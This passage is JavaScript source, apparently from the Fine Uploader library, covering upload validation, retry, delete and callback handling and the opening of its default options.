button.\n         *\n         * @param buttonOrFileInputOrFile `File`, `<input type=\"file\">`, or a button container element\n         * @returns {*} The button's ID, or undefined if no ID is recoverable\n         * @private\n         */\n        _getButtonId: function(buttonOrFileInputOrFile) {\n            var inputs, fileInput,\n                fileBlobOrInput = buttonOrFileInputOrFile;\n\n            // We want the reference file/blob here if this is a proxy (a file that will be generated on-demand later)\n            if (fileBlobOrInput instanceof qq.BlobProxy) {\n                fileBlobOrInput = fileBlobOrInput.referenceBlob;\n            }\n\n            // If the item is a `Blob` it will never be associated with a button or drop zone.\n            if (fileBlobOrInput && !qq.isBlob(fileBlobOrInput)) {\n                if (qq.isFile(fileBlobOrInput)) {\n                    return fileBlobOrInput.qqButtonId;\n                }\n                else if (fileBlobOrInput.tagName.toLowerCase() === \"input\" &&\n                    fileBlobOrInput.type.toLowerCase() === \"file\") {\n\n                    return fileBlobOrInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);\n                }\n\n                inputs = fileBlobOrInput.getElementsByTagName(\"input\");\n\n                qq.each(inputs, function(idx, input) {\n                    if (input.getAttribute(\"type\") === \"file\") {\n                        fileInput = input;\n                        return false;\n                    }\n                });\n\n                if (fileInput) {\n                    return fileInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);\n                }\n            }\n        },\n\n        _getNotFinished: function() {\n            return this._uploadData.retrieve({\n                status: [\n                    qq.status.UPLOADING,\n                    qq.status.UPLOAD_RETRYING,\n                    qq.status.QUEUED,\n                    qq.status.SUBMITTING,\n                    qq.status.SUBMITTED,\n                    qq.status.PAUSED\n                ]\n            }).length;\n        },\n\n        // Get the validation options for this button.  Could be the default validation option\n        // or a specific one assigned to this particular button.\n        _getValidationBase: function(buttonId) {\n            var extraButtonSpec = this._extraButtonSpecs[buttonId];\n\n            return extraButtonSpec ? extraButtonSpec.validation : this._options.validation;\n        },\n\n        _getValidationDescriptor: function(fileWrapper) {\n            if (fileWrapper.file instanceof qq.BlobProxy) {\n                return {\n                    name: qq.getFilename(fileWrapper.file.referenceBlob),\n                    size: fileWrapper.file.referenceBlob.size\n                };\n            }\n\n            return {\n                name: this.getUploads({id: fileWrapper.id}).name,\n                size: this.getUploads({id: fileWrapper.id}).size\n            };\n        },\n\n        _getValidationDescriptors: function(fileWrappers) {\n            var self = this,\n                fileDescriptors = [];\n\n            qq.each(fileWrappers, function(idx, fileWrapper) {\n                fileDescriptors.push(self._getValidationDescriptor(fileWrapper));\n            });\n\n            return fileDescriptors;\n        },\n\n        // Allows camera access on either the default or an extra button for iOS devices.\n        _handleCameraAccess: function() {\n            if (this._options.camera.ios && qq.ios()) {\n                var acceptIosCamera = \"image/*;capture=camera\",\n                    button = this._options.camera.button,\n                    buttonId = button ? this._getButtonId(button) : this._defaultButtonId,\n                    optionRoot = this._options;\n\n                // If we are not targeting the default button, it is an \"extra\" button\n                if (buttonId && buttonId !== this._defaultButtonId) {\n                    optionRoot = this._extraButtonSpecs[buttonId];\n                }\n\n                // Camera access won't work in iOS if the `multiple` attribute is present on the file input\n                optionRoot.multiple = false;\n\n                // update the options\n                if (optionRoot.validation.acceptFiles === null) {\n                    optionRoot.validation.acceptFiles = acceptIosCamera;\n                }\n                else {\n                    optionRoot.validation.acceptFiles += \",\" + acceptIosCamera;\n                }\n\n                // update the already-created button\n                qq.each(this._buttons, function(idx, button) {\n                    if (button.getButtonId() === buttonId) {\n                        button.setMultiple(optionRoot.multiple);\n                        button.setAcceptFiles(optionRoot.acceptFiles);\n\n                        return false;\n                    }\n                });\n            }\n        },\n\n        _handleCheckedCallback: function(details) {\n            var self = this,\n                callbackRetVal = details.callback();\n\n            if (qq.isGenericPromise(callbackRetVal)) {\n                this.log(details.name + \" - waiting for \" + details.name + \" promise to be fulfilled for \" + details.identifier);\n                return callbackRetVal.then(\n                    function(successParam) {\n                        self.log(details.name + \" promise success for \" + details.identifier);\n                        details.onSuccess(successParam);\n                    },\n                    function() {\n                        if (details.onFailure) {\n                            self.log(details.name + \" promise failure for \" + details.identifier);\n                            details.onFailure();\n                        }\n                        else {\n                            self.log(details.name + \" promise failure for \" + details.identifier);\n                        }\n                    });\n            }\n\n            if (callbackRetVal !== false) {\n                details.onSuccess(callbackRetVal);\n            }\n            else {\n                if (details.onFailure) {\n                    this.log(details.name + \" - return value was 'false' for \" + details.identifier + \".  Invoking failure callback.\");\n                    details.onFailure();\n                }\n                else {\n                    this.log(details.name + \" - return value was 'false' for \" + details.identifier + \".  Will not proceed.\");\n                }\n            }\n\n            return callbackRetVal;\n        },\n\n        // Updates internal state when a new file has been received, and adds it along with its ID to a passed array.\n        _handleNewFile: function(file, batchId, newFileWrapperList) {\n            var self = this,\n                uuid = qq.getUniqueId(),\n                size = -1,\n                name = qq.getFilename(file),\n                actualFile = file.blob || file,\n                handler = this._customNewFileHandler ?\n                    this._customNewFileHandler :\n                    qq.bind(self._handleNewFileGeneric, self);\n\n            if (!qq.isInput(actualFile) && actualFile.size >= 0) {\n                size = actualFile.size;\n            }\n\n            handler(actualFile, name, uuid, size, newFileWrapperList, batchId, this._options.request.uuidName, {\n                uploadData: self._uploadData,\n                paramsStore: self._paramsStore,\n                addFileToHandler: function(id, file) {\n                    self._handler.add(id, file);\n                    self._netUploadedOrQueued++;\n                    self._trackButton(id);\n                }\n            });\n        },\n\n        _handleNewFileGeneric: function(file, name, uuid, size, fileList, batchId) {\n            var id = this._uploadData.addFile({uuid: uuid, name: name, size: size, batchId: batchId});\n\n            this._handler.add(id, file);\n            this._trackButton(id);\n\n            this._netUploadedOrQueued++;\n\n            fileList.push({id: id, file: file});\n        },\n\n        _handlePasteSuccess: function(blob, extSuppliedName) {\n            var extension = blob.type.split(\"/\")[1],\n                name = extSuppliedName;\n\n            /*jshint eqeqeq: true, eqnull: true*/\n            if (name == null) {\n                name = this._options.paste.defaultName;\n            }\n\n            name += \".\" + extension;\n\n            this.addFiles({\n                name: name,\n                blob: blob\n            });\n        },\n\n        // Creates an extra button element\n        _initExtraButton: function(spec) {\n            var button = this._createUploadButton({\n                accept: spec.validation.acceptFiles,\n                allowedExtensions: spec.validation.allowedExtensions,\n                element: spec.element,\n                folders: spec.folders,\n                multiple: spec.multiple,\n                title: spec.fileInputTitle\n            });\n\n            this._extraButtonSpecs[button.getButtonId()] = spec;\n        },\n\n        _initFormSupportAndParams: function() {\n            this._formSupport = qq.FormSupport && new qq.FormSupport(\n                this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this)\n            );\n\n            if (this._formSupport && this._formSupport.attachedToForm) {\n                this._paramsStore = this._createStore(\n                    this._options.request.params,  this._formSupport.getFormInputsAsObject\n                );\n\n                this._options.autoUpload = this._formSupport.newAutoUpload;\n                if (this._formSupport.newEndpoint) {\n                    this._options.request.endpoint = this._formSupport.newEndpoint;\n                }\n            }\n            else {\n                this._paramsStore = this._createStore(this._options.request.params);\n            }\n        },\n\n        _isDeletePossible: function() {\n            if (!qq.DeleteFileAjaxRequester || !this._options.deleteFile.enabled) {\n                return false;\n            }\n\n            if (this._options.cors.expected) {\n                if (qq.supportedFeatures.deleteFileCorsXhr) {\n                    return true;\n                }\n\n                if (qq.supportedFeatures.deleteFileCorsXdr && this._options.cors.allowXdr) {\n                    return true;\n                }\n\n                return false;\n            }\n\n            return true;\n        },\n\n        _isAllowedExtension: function(allowed, fileName) {\n            var valid = false;\n\n            if (!allowed.length) {\n                return true;\n            }\n\n            qq.each(allowed, function(idx, allowedExt) {\n                /**\n                 * If an argument is not a string, ignore it.  Added when a possible issue with MooTools hijacking the\n                 * `allowedExtensions` array was discovered.  See case #735 in the issue tracker for more details.\n                 */\n                if (qq.isString(allowedExt)) {\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    var extRegex = new RegExp(\"\\\\.\" + allowedExt + \"$\", \"i\");\n\n                    if (fileName.match(extRegex) != null) {\n                        valid = true;\n                        return false;\n                    }\n                }\n            });\n\n            return valid;\n        },\n\n        /**\n         * Constructs and returns a message that describes an item/file error.  Also calls `onError` callback.\n         *\n         * @param code REQUIRED - a code that corresponds to a stock message describing this type of error\n         * @param maybeNameOrNames names of the items that have failed, if applicable\n         * @param item `File`, `Blob`, or `<input type=\"file\">`\n         * @private\n         */\n        _itemError: function(code, maybeNameOrNames, item) {\n            var message = this._options.messages[code],\n                allowedExtensions = [],\n                names = [].concat(maybeNameOrNames),\n                name = names[0],\n                buttonId = this._getButtonId(item),\n                validationBase = this._getValidationBase(buttonId),\n                extensionsForMessage, placeholderMatch;\n\n            function r(name, replacement) { message = message.replace(name, replacement); }\n\n            qq.each(validationBase.allowedExtensions, function(idx, allowedExtension) {\n                /**\n                 * If an argument is not a string, ignore it.  Added when a possible issue with MooTools hijacking the\n                 * `allowedExtensions` array was discovered.  See case #735 in the issue tracker for more details.\n                 */\n                if (qq.isString(allowedExtension)) {\n                    allowedExtensions.push(allowedExtension);\n                }\n            });\n\n            extensionsForMessage = allowedExtensions.join(\", \").toLowerCase();\n\n            r(\"{file}\", this._options.formatFileName(name));\n            r(\"{extensions}\", extensionsForMessage);\n            r(\"{sizeLimit}\", this._formatSize(validationBase.sizeLimit));\n            r(\"{minSizeLimit}\", this._formatSize(validationBase.minSizeLimit));\n\n            placeholderMatch = message.match(/(\\{\\w+\\})/g);\n            if (placeholderMatch !== null) {\n                qq.each(placeholderMatch, function(idx, placeholder) {\n                    r(placeholder, names[idx]);\n                });\n            }\n\n            this._options.callbacks.onError(null, name, message, undefined);\n\n            return message;\n        },\n\n        /**\n         * Conditionally orders a manual retry of a failed upload.\n         *\n         * @param id File ID of the failed upload\n         * @param callback Optional callback to invoke if a retry is prudent.\n         * In lieu of asking the upload handler to retry.\n         * @returns {boolean} true if a manual retry will occur\n         * @private\n         */\n        _manualRetry: function(id, callback) {\n            if (this._onBeforeManualRetry(id)) {\n                this._netUploadedOrQueued++;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);\n\n                if (callback) {\n                    callback(id);\n                }\n                else {\n                    this._handler.retry(id);\n                }\n\n                return true;\n            }\n        },\n\n        _maybeAllComplete: function(id, status) {\n            var self = this,\n                notFinished = this._getNotFinished();\n\n            if (status === qq.status.UPLOAD_SUCCESSFUL) {\n                this._succeededSinceLastAllComplete.push(id);\n            }\n            else if (status === qq.status.UPLOAD_FAILED) {\n                this._failedSinceLastAllComplete.push(id);\n            }\n\n            if (notFinished === 0 &&\n                (this._succeededSinceLastAllComplete.length || this._failedSinceLastAllComplete.length)) {\n                // Attempt to ensure onAllComplete is not invoked before other callbacks, such as onCancel & onComplete\n                setTimeout(function() {\n                    self._onAllComplete(self._succeededSinceLastAllComplete, self._failedSinceLastAllComplete);\n                }, 0);\n            }\n        },\n\n        _maybeHandleIos8SafariWorkaround: function() {\n            var self = this;\n\n            if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {\n                setTimeout(function() {\n                    window.alert(self._options.messages.unsupportedBrowserIos8Safari);\n                }, 0);\n                throw new qq.Error(this._options.messages.unsupportedBrowserIos8Safari);\n            }\n        },\n\n        _maybeParseAndSendUploadError: function(id, name, response, xhr) {\n            // Assuming no one will actually set the response code to something other than 200\n            // and still set 'success' to true...\n            if (!response.success) {\n                if (xhr && xhr.status !== 200 && !response.error) {\n                    this._options.callbacks.onError(id, name, \"XHR returned response code \" + xhr.status, xhr);\n                }\n                else {\n                    var errorReason = response.error ? response.error : this._options.text.defaultResponseError;\n                    this._options.callbacks.onError(id, name, errorReason, xhr);\n                }\n            }\n        },\n\n        _maybeProcessNextItemAfterOnValidateCallback: function(validItem, items, index, params, endpoint) {\n            var self = this;\n\n            if (items.length > index) {\n                if (validItem || !this._options.validation.stopOnFirstInvalidFile) {\n                    //use setTimeout to prevent a stack overflow with a large number of files in the batch & non-promissory callbacks\n                    setTimeout(function() {\n                        var validationDescriptor = self._getValidationDescriptor(items[index]),\n                            buttonId = self._getButtonId(items[index].file),\n                            button = self._getButton(buttonId);\n\n                        self._handleCheckedCallback({\n                            name: \"onValidate\",\n                            callback: qq.bind(self._options.callbacks.onValidate, self, validationDescriptor, button),\n                            onSuccess: qq.bind(self._onValidateCallbackSuccess, self, items, index, params, endpoint),\n                            onFailure: qq.bind(self._onValidateCallbackFailure, self, items, index, params, endpoint),\n                            identifier: \"Item '\" + validationDescriptor.name + \"', size: \" + validationDescriptor.size\n                        });\n                    }, 0);\n                }\n                else if (!validItem) {\n                    for (; index < items.length; index++) {\n                        self._fileOrBlobRejected(items[index].id);\n                    }\n                }\n            }\n        },\n\n        _onAllComplete: function(successful, failed) {\n            this._totalProgress && this._totalProgress.onAllComplete(successful, failed, this._preventRetries);\n\n            this._options.callbacks.onAllComplete(qq.extend([], successful), qq.extend([], failed));\n\n            this._succeededSinceLastAllComplete = [];\n            this._failedSinceLastAllComplete = [];\n        },\n\n        /**\n         * Attempt to automatically retry a failed upload.\n         *\n         * @param id The file ID of the failed upload\n         * @param name The name of the file associated with the failed upload\n         * @param responseJSON Response from the server, parsed into a javascript object\n         * @param xhr Ajax transport used to send the failed request\n         * @param callback Optional callback to be invoked if a retry is prudent.\n         * Invoked in lieu of asking the upload handler to retry.\n         * @returns {boolean} true if an auto-retry will occur\n         * @private\n         */\n        _onAutoRetry: function(id, name, responseJSON, xhr, callback) {\n            var self = this;\n\n            self._preventRetries[id] = responseJSON[self._options.retry.preventRetryResponseProperty];\n\n            if (self._shouldAutoRetry(id, name, responseJSON)) {\n                self._maybeParseAndSendUploadError.apply(self, arguments);\n                self._options.callbacks.onAutoRetry(id, name, self._autoRetries[id]);\n                self._onBeforeAutoRetry(id, name);\n\n                self._retryTimeouts[id] = setTimeout(function() {\n                    self.log(\"Retrying \" + name + \"...\");\n                    self._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);\n\n                    if (callback) {\n                        callback(id);\n                    }\n                    else {\n                        self._handler.retry(id);\n                    }\n                }, self._options.retry.autoAttemptDelay * 1000);\n\n                return true;\n            }\n        },\n\n        _onBeforeAutoRetry: function(id, name) {\n            this.log(\"Waiting \" + this._options.retry.autoAttemptDelay + \" seconds before retrying \" + name + \"...\");\n        },\n\n        //return false if we should not attempt the requested retry\n        _onBeforeManualRetry: function(id) {\n            var itemLimit = this._currentItemLimit,\n                fileName;\n\n            if (this._preventRetries[id]) {\n                this.log(\"Retries are forbidden for id \" + id, \"warn\");\n                return false;\n            }\n            else if (this._handler.isValid(id)) {\n                fileName = this.getName(id);\n\n                if (this._options.callbacks.onManualRetry(id, fileName) === false) {\n                    return false;\n                }\n\n                if (itemLimit > 0 && this._netUploadedOrQueued + 1 > itemLimit) {\n                    this._itemError(\"retryFailTooManyItems\");\n                    return false;\n                }\n\n                this.log(\"Retrying upload for '\" + fileName + \"' (id: \" + id + \")...\");\n                return true;\n            }\n            else {\n                this.log(\"'\" + id + \"' is not a valid file ID\", \"error\");\n                return false;\n            }\n        },\n\n        _onCancel: function(id, name) {\n            this._netUploadedOrQueued--;\n\n            clearTimeout(this._retryTimeouts[id]);\n\n            var storedItemIndex = qq.indexOf(this._storedIds, id);\n            if (!this._options.autoUpload && storedItemIndex >= 0) {\n                this._storedIds.splice(storedItemIndex, 1);\n            }\n\n            this._uploadData.setStatus(id, qq.status.CANCELED);\n        },\n\n        _onComplete: function(id, name, result, xhr) {\n            if (!result.success) {\n                this._netUploadedOrQueued--;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_FAILED);\n\n                if (result[this._options.retry.preventRetryResponseProperty] === true) {\n                    this._preventRetries[id] = true;\n                }\n            }\n            else {\n                if (result.thumbnailUrl) {\n                    this._thumbnailUrls[id] = result.thumbnailUrl;\n                }\n\n                this._netUploaded++;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_SUCCESSFUL);\n            }\n\n            this._maybeParseAndSendUploadError(id, name, result, xhr);\n\n            return result.success ? true : false;\n        },\n\n        _onDelete: function(id) {\n            this._uploadData.setStatus(id, qq.status.DELETING);\n        },\n\n        _onDeleteComplete: function(id, xhrOrXdr, isError) {\n            var name = this.getName(id);\n\n            if (isError) {\n                this._uploadData.setStatus(id, qq.status.DELETE_FAILED);\n                this.log(\"Delete request for '\" + name + \"' has failed.\", \"error\");\n\n                // For error reporting, we only have access to the response status if this is not\n                // an `XDomainRequest`.\n                if (xhrOrXdr.withCredentials === undefined) {\n                    this._options.callbacks.onError(id, name, \"Delete request failed\", xhrOrXdr);\n                }\n                else {\n                    this._options.callbacks.onError(id, name, \"Delete request failed with response code \" + xhrOrXdr.status, xhrOrXdr);\n                }\n            }\n            else {\n                this._netUploadedOrQueued--;\n                this._netUploaded--;\n                this._handler.expunge(id);\n                this._uploadData.setStatus(id, qq.status.DELETED);\n                this.log(\"Delete request for '\" + name + \"' has succeeded.\");\n            }\n        },\n\n        _onInputChange: function(input) {\n            var fileIndex;\n\n            if (qq.supportedFeatures.ajaxUploading) {\n                for (fileIndex = 0; fileIndex < input.files.length; fileIndex++) {\n                    this._annotateWithButtonId(input.files[fileIndex], input);\n                }\n\n                this.addFiles(input.files);\n            }\n            // Android 2.3.x will fire `onchange` even if no file has been selected\n            else if (input.value.length > 0) {\n                this.addFiles(input);\n            }\n\n            qq.each(this._buttons, function(idx, button) {\n                button.reset();\n            });\n        },\n\n        _onProgress: function(id, name, loaded, total) {\n            this._totalProgress && this._totalProgress.onIndividualProgress(id, loaded, total);\n        },\n\n        _onSubmit: function(id, name) {\n            //nothing to do yet in core uploader\n        },\n\n        _onSubmitCallbackSuccess: function(id, name) {\n            this._onSubmit.apply(this, arguments);\n            this._uploadData.setStatus(id, qq.status.SUBMITTED);\n            this._onSubmitted.apply(this, arguments);\n\n            if (this._options.autoUpload) {\n                this._options.callbacks.onSubmitted.apply(this, arguments);\n                this._uploadFile(id);\n            }\n            else {\n                this._storeForLater(id);\n                this._options.callbacks.onSubmitted.apply(this, arguments);\n            }\n        },\n\n        _onSubmitDelete: function(id, onSuccessCallback, additionalMandatedParams) {\n            var uuid = this.getUuid(id),\n                adjustedOnSuccessCallback;\n\n            if (onSuccessCallback) {\n                adjustedOnSuccessCallback = qq.bind(onSuccessCallback, this, id, uuid, additionalMandatedParams);\n            }\n\n            if (this._isDeletePossible()) {\n                this._handleCheckedCallback({\n                    name: \"onSubmitDelete\",\n                    callback: qq.bind(this._options.callbacks.onSubmitDelete, this, id),\n                    onSuccess: adjustedOnSuccessCallback ||\n                        qq.bind(this._deleteHandler.sendDelete, this, id, uuid, additionalMandatedParams),\n                    identifier: id\n                });\n                return true;\n            }\n            else {\n                this.log(\"Delete request ignored for ID \" + id + \", delete feature is disabled or request not possible \" +\n                    \"due to CORS on a user agent that does not support pre-flighting.\", \"warn\");\n                return false;\n            }\n        },\n\n        _onSubmitted: function(id) {\n            //nothing to do in the base uploader\n        },\n\n        _onTotalProgress: function(loaded, total) {\n            this._options.callbacks.onTotalProgress(loaded, total);\n        },\n\n        _onUploadPrep: function(id) {\n            // nothing to do in the core uploader for now\n        },\n\n        _onUpload: function(id, name) {\n            this._uploadData.setStatus(id, qq.status.UPLOADING);\n        },\n\n        _onUploadChunk: function(id, chunkData) {\n            //nothing to do in the base uploader\n        },\n\n        _onUploadStatusChange: function(id, oldStatus, newStatus) {\n            // Make sure a \"queued\" retry attempt is canceled if the upload has been paused\n            if (newStatus === qq.status.PAUSED) {\n                clearTimeout(this._retryTimeouts[id]);\n            }\n        },\n\n        _onValidateBatchCallbackFailure: function(fileWrappers) {\n            var self = this;\n\n            qq.each(fileWrappers, function(idx, fileWrapper) {\n                self._fileOrBlobRejected(fileWrapper.id);\n            });\n        },\n\n        _onValidateBatchCallbackSuccess: function(validationDescriptors, items, params, endpoint, button) {\n            var errorMessage,\n                itemLimit = this._currentItemLimit,\n                proposedNetFilesUploadedOrQueued = this._netUploadedOrQueued;\n\n            if (itemLimit === 0 || proposedNetFilesUploadedOrQueued <= itemLimit) {\n                if (items.length > 0) {\n                    this._handleCheckedCallback({\n                        name: \"onValidate\",\n                        callback: qq.bind(this._options.callbacks.onValidate, this, validationDescriptors[0], button),\n                        onSuccess: qq.bind(this._onValidateCallbackSuccess, this, items, 0, params, endpoint),\n                        onFailure: qq.bind(this._onValidateCallbackFailure, this, items, 0, params, endpoint),\n                        identifier: \"Item '\" + items[0].file.name + \"', size: \" + items[0].file.size\n                    });\n                }\n                else {\n                    this._itemError(\"noFilesError\");\n                }\n            }\n            else {\n                this._onValidateBatchCallbackFailure(items);\n                errorMessage = this._options.messages.tooManyItemsError\n                    .replace(/\\{netItems\\}/g, proposedNetFilesUploadedOrQueued)\n                    .replace(/\\{itemLimit\\}/g, itemLimit);\n                this._batchError(errorMessage);\n            }\n        },\n\n        _onValidateCallbackFailure: function(items, index, params, endpoint) {\n            var nextIndex = index + 1;\n\n            this._fileOrBlobRejected(items[index].id, items[index].file.name);\n\n            this._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);\n        },\n\n        _onValidateCallbackSuccess: function(items, index, params, endpoint) {\n            var self = this,\n                nextIndex = index + 1,\n                validationDescriptor = this._getValidationDescriptor(items[index]);\n\n            this._validateFileOrBlobData(items[index], validationDescriptor)\n                .then(\n                function() {\n                    self._upload(items[index].id, params, endpoint);\n                    self._maybeProcessNextItemAfterOnValidateCallback(true, items, nextIndex, params, endpoint);\n                },\n                function() {\n                    self._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);\n                }\n            );\n        },\n\n        _prepareItemsForUpload: function(items, params, endpoint) {\n            if (items.length === 0) {\n                this._itemError(\"noFilesError\");\n                return;\n            }\n\n            var validationDescriptors = this._getValidationDescriptors(items),\n                buttonId = this._getButtonId(items[0].file),\n                button = this._getButton(buttonId);\n\n            this._handleCheckedCallback({\n                name: \"onValidateBatch\",\n                callback: qq.bind(this._options.callbacks.onValidateBatch, this, validationDescriptors, button),\n                onSuccess: qq.bind(this._onValidateBatchCallbackSuccess, this, validationDescriptors, items, params, endpoint, button),\n                onFailure: qq.bind(this._onValidateBatchCallbackFailure, this, items),\n                identifier: \"batch validation\"\n            });\n        },\n\n        _preventLeaveInProgress: function() {\n            var self = this;\n\n            this._disposeSupport.attach(window, \"beforeunload\", function(e) {\n                if (self.getInProgress()) {\n                    e = e || window.event;\n                    // for ie, ff\n                    e.returnValue = self._options.messages.onLeave;\n                    // for webkit\n                    return self._options.messages.onLeave;\n                }\n            });\n        },\n\n        // Attempts to refresh session data only if the `qq.Session` module exists\n        // and a session endpoint has been specified.  The `onSessionRequestComplete`\n        // callback will be invoked once the refresh is complete.\n        _refreshSessionData: function() {\n            var self = this,\n                options = this._options.session;\n\n            /* jshint eqnull:true */\n            if (qq.Session && this._options.session.endpoint != null) {\n                if (!this._session) {\n                    qq.extend(options, {cors: this._options.cors});\n\n                    options.log = qq.bind(this.log, this);\n                    options.addFileRecord = qq.bind(this._addCannedFile, this);\n\n                    this._session = new qq.Session(options);\n                }\n\n                setTimeout(function() {\n                    self._session.refresh().then(function(response, xhrOrXdr) {\n                        self._sessionRequestComplete();\n                        self._options.callbacks.onSessionRequestComplete(response, true, xhrOrXdr);\n\n                    }, function(response, xhrOrXdr) {\n\n                        self._options.callbacks.onSessionRequestComplete(response, false, xhrOrXdr);\n                    });\n                }, 0);\n            }\n        },\n\n        _sessionRequestComplete: function() {},\n\n        _setSize: function(id, newSize) {\n            this._uploadData.updateSize(id, newSize);\n            this._totalProgress && this._totalProgress.onNewSize(id);\n        },\n\n        _shouldAutoRetry: function(id, name, responseJSON) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            /*jshint laxbreak: true */\n            if (!this._preventRetries[id]\n                && this._options.retry.enableAuto\n                && uploadData.status !== qq.status.PAUSED) {\n\n                if (this._autoRetries[id] === undefined) {\n                    this._autoRetries[id] = 0;\n                }\n\n                if (this._autoRetries[id] < this._options.retry.maxAutoAttempts) {\n                    this._autoRetries[id] += 1;\n                    return true;\n                }\n            }\n\n            return false;\n        },\n\n        _storeForLater: function(id) {\n            this._storedIds.push(id);\n        },\n\n        // Maps a file with the button that was used to select it.\n        _trackButton: function(id) {\n            var buttonId;\n\n            if (qq.supportedFeatures.ajaxUploading) {\n                buttonId = this._handler.getFile(id).qqButtonId;\n            }\n            else {\n                buttonId = this._getButtonId(this._handler.getInput(id));\n            }\n\n            if (buttonId) {\n                this._buttonIdsForFileIds[id] = buttonId;\n            }\n        },\n\n        _updateFormSupportAndParams: function(formElementOrId) {\n            this._options.form.element = formElementOrId;\n\n            this._formSupport = qq.FormSupport && new qq.FormSupport(\n                    this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this)\n                );\n\n            if (this._formSupport && this._formSupport.attachedToForm) {\n                this._paramsStore.addReadOnly(null, this._formSupport.getFormInputsAsObject);\n\n                this._options.autoUpload = this._formSupport.newAutoUpload;\n                if (this._formSupport.newEndpoint) {\n                    this.setEndpoint(this._formSupport.newEndpoint);\n                }\n            }\n        },\n\n        _upload: function(id, params, endpoint) {\n            var name = this.getName(id);\n\n            if (params) {\n                this.setParams(params, id);\n            }\n\n            if (endpoint) {\n                this.setEndpoint(endpoint, id);\n            }\n\n            this._handleCheckedCallback({\n                name: \"onSubmit\",\n                callback: qq.bind(this._options.callbacks.onSubmit, this, id, name),\n                onSuccess: qq.bind(this._onSubmitCallbackSuccess, this, id, name),\n                onFailure: qq.bind(this._fileOrBlobRejected, this, id, name),\n                identifier: id\n            });\n        },\n\n        _uploadFile: function(id) {\n            if (!this._handler.upload(id)) {\n                this._uploadData.setStatus(id, qq.status.QUEUED);\n            }\n        },\n\n        _uploadStoredFiles: function() {\n            var idToUpload, stillSubmitting,\n                self = this;\n\n            while (this._storedIds.length) {\n                idToUpload = this._storedIds.shift();\n                this._uploadFile(idToUpload);\n            }\n\n            // If we are still waiting for some files to clear validation, attempt to upload these again in a bit\n            stillSubmitting = this.getUploads({status: qq.status.SUBMITTING}).length;\n            if (stillSubmitting) {\n                qq.log(\"Still waiting for \" + stillSubmitting + \" files to clear submit queue. Will re-parse stored IDs array shortly.\");\n                setTimeout(function() {\n                    self._uploadStoredFiles();\n                }, 1000);\n            }\n        },\n\n        /**\n         * Performs some internal validation checks on an item, defined in the `validation` option.\n         *\n         * @param fileWrapper Wrapper containing a `file` along with an `id`\n         * @param validationDescriptor Normalized information about the item (`size`, `name`).\n         * @returns qq.Promise with appropriate callbacks invoked depending on the validity of the file\n         * @private\n         */\n        _validateFileOrBlobData: function(fileWrapper, validationDescriptor) {\n            var self = this,\n                file = (function() {\n                    if (fileWrapper.file instanceof qq.BlobProxy) {\n                        return fileWrapper.file.referenceBlob;\n                    }\n                    return fileWrapper.file;\n                }()),\n                name = validationDescriptor.name,\n                size = validationDescriptor.size,\n                buttonId = this._getButtonId(fileWrapper.file),\n                validationBase = this._getValidationBase(buttonId),\n                validityChecker = new qq.Promise();\n\n            validityChecker.then(\n                function() {},\n                function() {\n                    self._fileOrBlobRejected(fileWrapper.id, name);\n                });\n\n            if (qq.isFileOrInput(file) && !this._isAllowedExtension(validationBase.allowedExtensions, name)) {\n                this._itemError(\"typeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size === 0) {\n                this._itemError(\"emptyError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size > 0 && validationBase.sizeLimit && size > validationBase.sizeLimit) {\n                this._itemError(\"sizeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size > 0 && size < validationBase.minSizeLimit) {\n                this._itemError(\"minSizeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (qq.ImageValidation && qq.supportedFeatures.imagePreviews && qq.isFile(file)) {\n                new qq.ImageValidation(file, qq.bind(self.log, self)).validate(validationBase.image).then(\n                    validityChecker.success,\n                    function(errorCode) {\n                        self._itemError(errorCode + \"ImageError\", name, file);\n                        validityChecker.failure();\n                    }\n                );\n            }\n            else {\n                validityChecker.success();\n            }\n\n            return validityChecker;\n        },\n\n        _wrapCallbacks: function() {\n            var self, safeCallback, prop;\n\n            self = this;\n\n            safeCallback = function(name, callback, args) {\n                var errorMsg;\n\n                try {\n                    return callback.apply(self, args);\n                }\n                catch (exception) {\n                    errorMsg = exception.message || exception.toString();\n                    self.log(\"Caught exception in '\" + name + \"' callback - \" + errorMsg, \"error\");\n                }\n            };\n\n            /* jshint forin: false, loopfunc: true */\n            for (prop in this._options.callbacks) {\n                (function() {\n                    var callbackName, callbackFunc;\n                    callbackName = prop;\n                    callbackFunc = self._options.callbacks[callbackName];\n                    self._options.callbacks[callbackName] = function() {\n                        return safeCallback(callbackName, callbackFunc, arguments);\n                    };\n                }());\n            }\n        }\n    };\n}());\n","/*globals qq*/\n(function() {\n    \"use strict\";\n\n    qq.FineUploaderBasic = function(o) {\n        var self = this;\n\n        // These options define FineUploaderBasic mode.\n        this._options = {\n            debug: false,\n            button: null,\n            multiple: true,\n            maxConnections: 3,\n            disableCancelForFormUploads: false,\n            autoUpload: true,\n\n            request: {\n                customHeaders: {},\n                endpoint: \"/server/upload\",\n                filenameParam: \"qqfilename\",\n                forceMultipart: true,\n                inputName: \"qqfile\",\n                method: \"POST\",\n                params: {},\n                paramsInBody: true,\n                totalFileSizeName: \"qqtotalfilesize\",\n                uuidName: \"qquuid\"\n            },\n\n            validation: {\n                allowedExtensions: [],\n                sizeLimit: 0,\n                minSizeLimit: 0,\n                itemLimit: 0,\n                stopOnFirstInvalidFile: true,\n                acceptFiles: null,\n                image: {\n                    maxHeight: 0,\n                    maxWidth: 0,\n                    minHeight: 0,\n                    minWidth: 0\n                }\n            },\n\n            callbacks: {\n                onSubmit: function(id, name) {},\n                onSubmitted: function(id, name) {},\n                onComplete: function(id, name, responseJSON, maybeXhr) {},\n                onAllComplete: function(successful, failed) {},\n                